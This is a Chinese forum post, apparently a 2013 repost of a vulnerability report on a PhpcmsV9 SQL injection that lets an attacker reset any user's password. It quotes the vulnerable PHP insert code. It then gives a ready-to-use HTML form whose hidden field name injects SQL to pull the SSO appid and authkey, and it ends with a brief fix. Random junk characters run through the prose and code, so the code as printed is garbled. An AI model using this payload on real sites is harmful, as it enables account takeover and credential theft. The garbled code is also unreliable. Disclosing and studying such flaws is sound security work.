找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2251|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
3 {! m; I4 W6 u9 ]' Y$ \6 I: D- N" p& P$ z6 O- n$ K, c- x
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
! i2 T/ R6 G: L8 ^& K2 k" v* L- O# y9 \$ z/ V3 J3 J
明天再更新下一个漏洞。
8 z' `4 ?) B0 ?- i' l$ B7 Q详细说明:
/ o9 S" T3 d( K9 j, N5 j在/phpcms9/phpcms/modules/message/index.php中有代码如下:7 F8 ^) ]/ I9 U

) |- k2 u, h+ f. h, |6 H  t$messageid = $this->message_db->insert($_POST['info'],true);7 v5 G  G0 K' w& [
3 H7 T; R7 i% d
4 {' ^& p/ _+ C* d& r: e! X
insert方法是key value的,代码如下:* ~9 H6 q( |) B" g9 a

1 U' z$ M9 E" x1 s' `  {public function insert($data, $table, $return_insert_id = false, $replace = false) {) {( L1 _+ D# H+ R: G
                if(!is_array( $data ) || $table == '' || count($data) == 0) {1 A$ X0 R$ k* o4 ]
                        return false;
1 b- t6 O: z6 X; Q+ x8 [                }3 C$ d4 v" b' r) v& G$ J
                ! k% ?' G6 C. ]" t. [$ y3 c7 i
                $fielddata = array_keys($data);
2 D& F% W* e, m0 k( W                $valuedata = array_values($data);. k# z6 `) t( h0 N6 ^
                array_walk($fielddata, array($this, 'add_special_char'));
. B' A  |; K" J( r+ J                array_walk($valuedata, array($this, 'escape_string'));
% _' [& H+ A  m/ c* ^) u# O/ K0 [0 I/ d. D                - Z' S- N" W6 h
                $field = implode (',', $fielddata);' c: z/ d- V& v; b; p4 o, S
                $value = implode (',', $valuedata);7 ?5 ?4 s& Y1 I1 L2 @

+ V  V" m' O1 {( f8 W  G( {& F                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';# W' |0 e+ A" w) d/ v& z1 @4 r! E: s
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';: h* N4 m7 A. `2 W& u
                $return = $this->execute($sql);: X' g: h+ U! r9 I4 _! }/ X
                return $return_insert_id ? $this->insert_id() : $return;
' T* b8 s* t* b2 O/ t        }
0 [0 U, m9 m9 T& i4 f8 T. d6 J7 N9 Y

, G4 }* ^4 V! u; t/ ]$ r( @; ?嗯,很遗憾的是
+ D. Y  a5 r# _- a
9 C8 O4 T$ W' r. y( A% karray_walk($fielddata, array($this, 'add_special_char'));* |1 m% u4 o  s5 W( ~+ W# E, g- _

& k) B) v2 Q5 S9 Y. X# F/ r# Y. R8 I1 L
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。1 P: ]* B2 J' d) n( p
, g4 z  H7 ], I2 l' h
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
: X; x* r0 q; P& O6 B( l4 l. f4 E% y: |9 B( L9 ~
漏洞证明:
: Z# N& Y$ _. M$ j" \# H3 l读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。' ^* N; m# s8 S" \% t

3 ]7 x3 [$ G  u& M+ F2 [2 Z! |4 W, x  G( u+ _7 v) b
表单如下:用户名什么的得自己改一改。9 q8 X; c0 ^. ?0 [5 G* N
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
; R# s! W1 j1 F<table width="100%" cellspacing="0" class="table_form">8 E6 v: B* u- Q' ]
<tr>
, n' }0 Y* R) I6 H: J; x# m, m<th>标 题:</th>
! O  d: t  W$ |<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
5 b' k, X8 U) }3 S) g</tr>
6 s9 F- D* E' o% D<tr>
! ~$ C# }+ O6 |& b( C) `0 m<th>内 容:</th>1 }  H$ w7 N. w8 c, w! E. [; X3 s3 S
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
( S' ~' p: q0 A) t2 @. D2 B, b9 V7 A; j</tr>5 Y& p& l6 ^1 b
<input type="hidden" name="info[replyid]" value="2" /> 2 S3 j( l2 z7 |4 _; L
<input type="hidden" name="info[send_to_id]" value="cc" />
! P, }! |9 z* s* n/ H<input type="hidden" name="info[send_from_id]" value="hh">: T' `. Q8 o/ D) Q
<!-- 漏洞的利用重点在这里开始 -->4 i5 J; h3 S3 f6 e5 ]5 U! Y4 V
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> 1 `: H. D+ @/ ?/ u& D9 x
<!-- 漏洞的利用重点在这里结束 -->) D% y1 m9 P8 C9 |/ s' d2 w0 w
<tr>* C! ^9 n/ D0 m/ l- c4 A
<th>验证码:</th>9 l! j  K0 C$ k7 O- V2 ?& P6 _; i
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
& w2 I* `) J5 N: ], p, I</tr>! T. u, s# F3 K
<tr>& n$ Z# ~3 j+ W
<td></td>& w- ]: v+ {7 D/ T% K
<td colspan="2"><label>, f+ Z1 Z& Z# j1 b: y$ n" J* m
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
9 j; }: |4 h$ f5 }  \</label></td>
' h8 K8 t! f( K! Q8 P# |% K5 a/ w</tr>
6 Y. Q- l3 ~8 W, e% y) b</table>
# D! `" p4 h' z* w( V</form>% J! S- n  [6 W0 J# f
在add_special_char函数内对key做过滤就可以了。# [9 E' @, y) B. v) f  \

, R1 f; u' ]# d6 [3 z3 J  j9 O1 ^  u6 }' A) K
# v+ U! v6 ^6 B' M

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表